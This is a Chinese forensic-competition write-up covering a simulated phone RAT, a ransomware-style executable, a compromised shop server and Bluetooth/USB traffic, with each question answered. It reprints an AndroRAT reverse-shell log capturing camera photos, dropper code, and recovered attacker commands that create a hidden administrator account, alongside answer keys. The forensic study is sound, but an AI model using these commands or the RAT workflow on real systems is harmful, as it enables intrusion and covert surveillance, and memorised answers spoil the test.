服务器 /tmp/ratlog.txt:

[root@localhost AndroRAT]# python3 androRAT.py --shell -i 0.0.0.0 -p 8000

                    _           _____         _______
    /\             | |         |  __ \     /\|__   __|
   /  \   _ __   __| |_ __ ___ | |__) |   /  \  | |   
  / /\ \ | '_ \ / _` | '__/ _ \|  _  /   / /\ \ | |   
 / ____ \| | | | (_| | | | (_) | | \ \  / ____ \| |   
/_/    \_\_| |_|\__,_|_|  \___/|_|  \_\/_/    \_\_|

                                       - By karma9874

[INFO] Waiting for Connections  /Traceback (most recent call last):
  File "androRAT.py", line 62, in <module>
    get_shell(args.ip,args.port) 
  File "/root/AndroRAT/utils.py", line 314, in get_shell
    while t.is_alive(): animate("Waiting for Connections  ")
  File "/root/AndroRAT/utils.py", line 48, in animate
    time.sleep(.1)
KeyboardInterrupt
[root@localhost AndroRAT]# service firewalld stop
Redirecting to /bin/systemctl stop firewalld.service
[root@localhost AndroRAT]# python3 androRAT.py --shell -i 0.0.0.0 -p 8000

                    _           _____         _______
    /\             | |         |  __ \     /\|__   __|
   /  \   _ __   __| |_ __ ___ | |__) |   /  \  | |   
  / /\ \ | '_ \ / _` | '__/ _ \|  _  /   / /\ \ | |   
 / ____ \| | | | (_| | | | (_) | | \ \  / ____ \| |   
/_/    \_\_| |_|\__,_|_|  \___/|_|  \_\/_/    \_\_|

                                       - By karma9874

[INFO] Waiting for Connections  |
Got connection from ('92.67.33.56', 60844)
 
Hello there, welcome to reverse shell of MI 4LTE

Interpreter:/> deviceInfo
--------------------------------------------
Manufacturer: Xiaomi
Version/Release: 6.0.1
Product: cancro_wc_lte
Model: MI 4LTE
Brand: Xiaomi
Device: cancro
Host: c3-miui-ota-bd146.bj
--------------------------------------------

Interpreter:/>  camList
[ERROR] Unknown Command 

Interpreter:/> camList
0 --  Back Camera
1 --  Front Camera

Interpreter:/> takepic 1
[INFO] Taking Image
[ERROR] Unable to connect to the Camera

Interpreter:/> takepic 1
[INFO] Taking Image
[ERROR] Unable to connect to the Camera

Interpreter:/> takepic 1
[INFO] Taking Image
[ERROR] Unable to connect to the Camera

Interpreter:/> takepic 1
[INFO] Taking Image
[SUCCESS] Succesfully Saved in /root/AndroRAT/Dumps/Image_20250410-140555.jpg

Interpreter:/> takepic 1
[INFO] Taking Image
[SUCCESS] Succesfully Saved in /root/AndroRAT/Dumps/Image_20250410-140605.jpg

Interpreter:/> takepic 1
[INFO] Taking Image
[SUCCESS] Succesfully Saved in /root/AndroRAT/Dumps/Image_20250410-140622.jpg

Interpreter:/> getMACAddress 
[ERROR] Unknown Command 

Interpreter:/> getMACAddress ^H
[ERROR] Unknown Command 

Interpreter:/> getMACAddress

答案:3

手机取证-10

木马APP被使用的摄像头为(格式:Camera)

ratlog.txt:

Interpreter:/> camList
0 --  Back Camera
1 --  Front Camera

Interpreter:/> takepic 1

答案:Front Camera

手机取证-11

分析倩倩的手机检材,木马APK通过调用什么api实现自身持久化(格式:JobStore)

alt

alt

答案:JobScheduler

手机取证-12

分析倩倩的手机检材,根据倩倩的身份证号请问倩倩来自哪里(格式:北京市西城区)

百度输入法剪切板:

alt

身份证:310104200108110624

答案:上海市徐汇区

手机取证-13

此手机检材的IMEI号是多少(格式:1234567890)

全局搜索imei:

alt

答案:865372026366143

exe逆向

exe逆向-1

分析GIFT.exe,该程序的md5是什么(格式:大写md5)

在起早王桌面上倩倩的生日礼物中存在GIFT.exe

答案:5A20B10792126FFA324B91E506F67223

exe逆向-2

GIFT.exe的使用的编程语言是什么(格式:C)

alt

答案:Python

exe逆向-3

解开得到的LOVE2.exe的编译时间(格式:2025/1/1 01:01:01)

反编译exe:

python pyinstxtractor.py GIFT.exe

在线网站 https://pylingual.io/ 反编译 gift_builder.pyc:

# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: gift_builder.py
# Bytecode version: 3.10.0rc2 (3439)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)

import os
import sys
import shutil
import zipfile
import tempfile
import base64
import zlib
import subprocess
import tkinter as tk
from tkinter import simpledialog, messagebox
PASSWORD = '20010811'
PACKED_DATA = b'太长省略'

def extract_and_run(packed_data):
    """解压并运行文件"""
    try:
        data = zlib.decompress(base64.b64decode(packed_data))
        extract_dir = os.path.join(tempfile.gettempdir(), 'gift_extracted')
        if os.path.exists(extract_dir):
            shutil.rmtree(extract_dir)
        os.makedirs(extract_dir)
        temp_zip = os.path.join(extract_dir, 'packed.zip')
        with open(temp_zip, 'wb') as f:
            f.write(data)
        with zipfile.ZipFile(temp_zip, 'r') as zipf:
            zipf.extractall(extract_dir)
        for file in os.listdir(extract_dir):
            if file.lower().endswith('.exe'):
                exe_path = os.path.join(extract_dir, file)
                subprocess.Popen([exe_path])
        return True
    except Exception as e:
        messagebox.showerror('错误', '解压或运行出错: {e}')
        return False

def main():
    root = tk.Tk()
    root.withdraw()
    password = simpledialog.askstring('密码', '我将永远记得你的生日:', show='*')
    if password == PASSWORD:
        success = extract_and_run(PACKED_DATA)
        if success:
            messagebox.showinfo('成功', '礼物已解锁!')
        else:
            messagebox.showerror('失败', '礼物解锁失败')
    else:
        messagebox.showerror('错误', '密码错误!')
if __name__ == '__main__':
    main()

zlib解压 PACKED_DATA 就能得到LOVE2.exe:

alt

答案:2025/4/8 09:59:40

exe逆向-4

分析GIFT.exe,该病毒所关联到的ip和端口(格式:127.0.0.1:1111)

运行后查看netstat

答案:46.95.185.222:6234

exe逆向-5

分析GIFT.exe,该病毒修改的壁纸md5(格式:大写md5)

resource hacker 能获取 LOVE2.exe 释放的资源壁纸:

alt

导出计算md5

答案:733FC4483C0E7DB1C034BE5246DF5EC0

exe逆向-6

分析GIFT.exe,未对哪些后缀的文件进行加密

创几个后缀文件模拟

答案:A.doc B.xlsx E.ppt

exe逆向-7

分析GIFT.exe,病毒加密后的文件类型是什么(格式:DOCX文档)

.love 后缀,查看文件属性

答案:LOVE Encrypted File

exe逆向-8

分析GIFT.exe,壁纸似乎被隐形水印加密过了?请找到其中的Flag3(格式:flag3{xxxxxxxx})

盲水印:

alt

答案:flag3{20241224_Our_First_Meet}

exe逆向-9

分析GIFT.exe,病毒加密文件所使用的方法是什么(格式:Base64)

alt

答案:RSA

exe逆向-10

分析GIFT.exe,请解密test.love得到flag4(格式:flag4{xxxxxxxx})

love.jpeg尾部存在rsa私钥

解密脚本:

from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.backends import default_backend

# 读取私钥
with open("private.pem", "rb") as key_file:
    private_key = serialization.load_pem_private_key(
        key_file.read(),
        password=None,
        backend=default_backend()
    )

# 打印密钥位数和块大小
key_size_bits = private_key.key_size
key_size_bytes = key_size_bits // 8
print(f"私钥大小: {key_size_bits} 位 ({key_size_bytes} 字节)")

# 读取加密文件
with open("test.love", "rb") as f:
    encrypted_data = f.read()

# 分块解密(每块长度等于密钥长度)
decrypted_data = b""
for i in range(0, len(encrypted_data), key_size_bytes):
    block = encrypted_data[i:i + key_size_bytes]
    if len(block) != key_size_bytes:
        raise ValueError(f"第 {i//key_size_bytes + 1} 块大小不等于密钥长度,可能文件损坏")

    decrypted_block = private_key.decrypt(
        block,
        padding.PKCS1v15()
    )
    decrypted_data += decrypted_block

# 打印结果
try:
    print("解密内容:")
    print(decrypted_data.decode("utf-8"))
except UnicodeDecodeError:
    print("解密完成,但内容不是有效的 UTF-8,可以保存为二进制文件")

    # 也可以写入文件
    with open("decrypted_output.bin", "wb") as f:
        f.write(decrypted_data)
    print("已保存为 decrypted_output.bin")

alt

答案:flag4{104864DF-C420-04BB5F51F267}

服务器取证

alt

公司服务器用的是宝塔面板

服务器取证-1

该电脑最早的开机时间是什么(格式:2025/1/1 01:01:01)

alt

答案:2022/2/23 12:23:49

服务器取证-2

服务器操作系统内核版本(格式:1.1.1-123)

alt

答案:3.10.0-1160.119.1.el7.x86_64

服务器取证-3

除系统用户外,总共有多少个用户(格式:1)

alt

答案:3

服务器取证-4

分析起早王的服务器检材,Trojan服务器混淆流量所使用的域名是什么(格式:xxx.xxx)

alt

答案:wyzshop1.com

服务器取证-5

分析起早王的服务器检材,Trojan服务运行的模式为

examples目录下存在不同模式的实例json,发现与nat类似

答案:B. nat

服务器取证-6

关于 Trojan服务器配置文件中配置的remote_addr 和 remote_port 的作用,正确的是

答案:A. 代理流量转发到外部互联网服务器

服务器取证-7

分析网站后台登录密码的加密逻辑,给出密码sbwyz1加密后存在数据库中的值(格式:1a2b3c4d)

alt

在目录 /www/wwwroot/www.tpshop.com 下寻找加密逻辑 /www/wwwroot/www.tpshop.com/application/admin/controller/Admin.php:

$enNewPwd = encrypt($newPwd);

全局搜索encrypt函数:

alt

/www/wwwroot/www.tpshop.com/application/function.php:

function encrypt($str){
	return md5(C("AUTH_CODE").$str);
}

同样的操作,全局搜索 AUTH_CODE,/www/wwwroot/www.tpshop.com/application/config.php:

// 密码加密串
    'AUTH_CODE' => "TPSHOP", //安装完毕之后不要改变,否则所有密码都会出错

计算md5(TPSHOPsbwyz1)

答案:f8537858eb0eabada34e7021d19974ea

服务器取证-8

网站后台显示的服务器GD版本是多少(格式:1.1.1 abc)

bt default 查看初始账号和密码信息:

alt

初始账号密码:b2zobisy/0f5acdc4,但是无法登录,bt 5 重置密码:

alt

登录后添加域名:

alt

登录phpadmin查看数据库:

alt

发现数据库是空的,这样无法登录到网站后台也不会有任何数据,想到 起早王的windows上有一段sql,应该是tpshop2.0的备份 20250410-094648-1.sql:

alt

日志中存有后台登录地址:

alt

在数据库里把admin密码改成 sbwyz1 对应的哈希f8537858eb0eabada34e7021d19974ea尝试登录后台,提示网络错误,查看网站目录下的数据库连接文件,发现账号密码和实际数据不一致,进行修改:

alt

成功登录后台:

alt

GD版本:

alt

答案:2.1.0 compatible

服务器取证-9

网站后台中2016-04-01 00:00:00到2025-04-01 00:00:00订单列表有多少条记录(格式:1)

alt

答案:1292

服务器取证-10

在网站购物满多少免运费(格式:1)

alt

答案:100000

服务器取证-11

分析网站日志,成功在网站后台上传木马的攻击者IP是多少(格式:1.1.1.1)

错误日志里有大量 222.2.2.2 的记录:

alt

结合 www.tpshop.com.log

alt

alt

典型的webshell php文件名 peiqi.php

答案:222.2.2.2

服务器取证-12

攻击者插入的一句话木马文件的sha256值是多少(格式:大写sha256)

alt

答案:870BF66B4314A5567BD92142353189643B07963201076C5FC98150EF34CBC7CF

服务器取证-13

攻击者使用工具对内网进行扫描后,rdp扫描结果中的账号密码是什么(格式:abc:def)

goon扫描工具:

alt

result.txt中rdp部分:

------------------------------------rdp------------------------------------
[RDP] 192.168.100.254:3389                     administrator:Aa123456@     

答案:administrator:Aa123456@

服务器取证-14

对于每个用户,计算其注册时间(用户表中的注册时间戳)到首次下单时间(订单表中最早时间戳)的间隔,找出间隔最短的用户id。(格式:1)

查询语句:

SELECT u.user_id, MIN(d.create_time) - u.reg_time  as time_diff 
FROM tp_users u 
JOIN tp_delivery_doc d ON u.user_id = d.user_id 
GROUP BY u.user_id
ORDER BY time_diff ASC 
LIMIT 1;

alt

答案:180

服务器取证-15

统计每月订单数量,找出订单最多的月份(例:2025年9月)

查询语句:

SELECT 
    EXTRACT(YEAR FROM FROM_UNIXTIME(d.create_time)) as year,
    EXTRACT(MONTH FROM FROM_UNIXTIME(d.create_time)) as month,
    COUNT(*) as order_count 
FROM tp_delivery_doc d
GROUP BY year, month
ORDER BY order_count DESC
LIMIT 1;

alt

答案:2017年1月

服务器取证-16

找出连续三天内下单的用户并统计总共有多少个(格式:1)

查询语句:

SELECT 
    t1.user_id,
    MIN(FROM_UNIXTIME(t1.add_time)) AS earliest_order_date
FROM 
    tp_order t1
WHERE EXISTS (
    SELECT 1
    FROM tp_order t2
    WHERE t2.user_id = t1.user_id
    AND FROM_UNIXTIME(t1.add_time) > FROM_UNIXTIME(t2.add_time)
    AND DATEDIFF(FROM_UNIXTIME(t1.add_time), FROM_UNIXTIME(t2.add_time)) <= 3
)
GROUP BY 
    t1.user_id
ORDER BY 
t1.user_id;

alt

答案:110

流量分析

流量分析-1

请问侦查人员是用哪个接口进行抓到蓝牙数据包的(格式:DVI1-2.1)

alt

答案:COM3-3.6

流量分析-2

起早王有一个用于伪装成倩倩耳机的蓝牙设备,该设备的原始设备名称为什么(格式:XXX_xxx 具体大小写按照原始内容)

alt

答案:Flipper_123all

流量分析-3

起早王有一个用于伪装成倩倩耳机的蓝牙设备,该设备修改成耳机前后的大写MAC地址分别为多少(格式:32位小写md5(原MAC地址_修改后的MAC地址) ,例如md5(11:22:33:44:55:66_77:88:99:AA:BB:CC)=a29ca3983de0bdd739c97d1ce072a392 )

将流量包导出为json格式:

tshark -r BLE.pcap -T json > BLE.json

alt

倩倩耳机的设备名称:QQ_WF_SP8OON

根据时间和设备名称能找到先后三个个MAC地址,第一个对应Flipper_123all,后二个对应修改前后的QQ_WF_SP8OON:

"btle.advertising_address": "80:e1:26:33:32:31"
"btle.advertising_address": "80:e1:26:35:32:31"
"btle.advertising_address": "52:00:52:10:13:14"

根据格式计算 md5(80:E1:26:33:32:31_52:00:52:10:13:14)

答案:97d79a5f219e6231f7456d307c8cac68

流量分析-4

流量包中首次捕获到该伪装设备修改自身名称的UTC+0时间为?(格式:2024/03/07 01:02:03.123)

第一次出现 QQ_WF_SP8OON 对应的时间:

"frame.time": "Apr  9, 2025 10:31:26.710747000 中国标准时间"

UTC+0,答案:2025/04/09 02:31:26.710

流量分析-5

起早王中途还不断尝试使用自己的手机向倩倩电脑进行广播发包,请你找出起早王手机蓝牙的制造商数据(格式:0x0102030405060708)

Cracked是起早王的手机设备,wireshark里过滤字符串:

alt

答案:0x0701434839313430

流量分析-6

起早王的真名是什么(格式:Cai_Xu_Kun 每个首字母均需大写 )

tshark -r USBPcap.pcapng -Y usb.src==2.4.1 -T fields -e usbhid.data > usb.txt

usb提取脚本:

normalKeys = {"04": "a", "05": "b", "06": "c", "07": "d", "08": "e", "09":
"f", "0a": "g", "0b": "h", "0c": "i",
"0d": "j", "0e": "k", "0f": "l", "10": "m", "11": "n", "12":
"o", "13": "p", "14": "q", "15": "r",
"16": "s", "17": "t", "18": "u", "19": "v", "1a": "w", "1b":
"x", "1c": "y", "1d": "z", "1e": "1",
"1f": "2", "20": "3", "21": "4", "22": "5", "23": "6", "24":
"7", "25": "8", "26": "9", "27": "0",
"28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "-", "2e": "=", "2f": "[",
"30": "]", "31": "\\", "32": "<NON>", "33": ";", "34": "'",
"35": "<GA>", "36": ",", "37": ".", "38": "/",
"39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>",
"40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}
shiftKeys = {"04": "A", "05": "B", "06": "C", "07": "D", "08": "E", "09": "F",
"0a": "G", "0b": "H", "0c": "I",
"0d": "J", "0e": "K", "0f": "L", "10": "M", "11": "N", "12": "O",
"13": "P", "14": "Q", "15": "R",
"16": "S", "17": "T", "18": "U", "19": "V", "1a": "W", "1b": "X",
"1c": "Y", "1d": "Z", "1e": "!",
"1f": "@", "20": "#", "21": "$", "22": "%", "23": "^", "24": "&",
"25": "*", "26": "(", "27": ")",
"28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "_", "2e": "+", "2f": "{",
"30": "}", "31": "|", "32": "<NON>", "33": ":", "34": "\"", "35":
"~", "36": "<", "37": ">", "38": "?",
"39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>",
"40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}
output = []
last = []
new = []
keys = open('usb.txt')
press = ''
for line in keys:
    try:
        if line[2]!='0' or (line[3]!='0' and line[3]!='2'):
            continue
        offset = 6
        new = []
        while line[offset:offset+2] != '00':
            press = line[offset:offset+2]
            if press in normalKeys.keys():
                if line[3]=='0':
                    key = normalKeys[press]
                else:
                    key = shiftKeys[press]
            else:
                key = '[unknown]'
            if press not in last:
                output.append(key)
            new.append(press)
            offset += 2
    except:
        print(line)
    finally:
        last = new

keys.close()
flag=0

for i in range(len(output)):
    try:
        if output[i]=="<CAP>":
            flag = 1-flag
        if flag!=0:
            output[i]=output[i].upper()
    except:
        pass
output = [x for x in output if x != '<CAP>']

new_output = []


for i in range(len(output)):
    if output[i] == "<DEL>":
        new_output.append(output[i])
        # 根据需求添加该删除功能,有些数据可能隐藏在删除的内容里
        # new_output = new_output[:-1]
    else:
        new_output.append(output[i])

print ("".join(new_output))

整理一下:

bao bao,zui jin you ge nan sheng xiang zhui wo,
ta jiao wang qi zhao(被删除) qi zao wang 
ta shuo ta ai wo,
dan shi cong bu bang wo na kuai di,
hao fan a
cmd<RET> 
whoami<RET>
net user<RET>
net user qianqianwoaini$ abcdefghijkImn /add<RET>
net localgroup administrators qianqianwoaini$ /add<RET>
net user qianqianwoaini$ /del<RET>
net localgroup administrators qianqianwoaini$ /add<RET>
rundll32 url.dll,FileProtocolHandler https://fakeupdate.net/win10ue/bsod.html<RET>

答案:Wang_Qi_Zhao

流量分析-7

起早王对倩倩的电脑执行了几条cmd里的命令(格式:1 )

答案:7

流量分析-8

倩倩电脑中影子账户的账户名和密码为什么(格式:32位小写md5(账号名称_密码) ,例如md5(zhangsan_123456)=9dcaac0e4787b213fed42e5d78affc75 )

md5(qianqianwoaini$_abcdefghijkImn)

答案:53af9cd5e53e237020bea0932a1cbdaa

流量分析-9

起早王对倩倩的电脑执行的最后一条命令是什么(格式:32位小写md5(完整命令),例如md5(echo “qianqianwoaini” > woshiqizaowang.txt)=1bdb83cfbdf29d8c2177cc7a6e75bae2 )

md5(rundll32 url.dll,FileProtocolHandler https://fakeupdate.net/win10ue/bsod.html)

答案:0566c1d6dd49db699d422db31fd1be8f

参考资料:

https://jasmineaura.github.io/AuraBlog/cybersecurity/k1tx6hq6/

https://www.cnblogs.com/WXjzc/p/18840490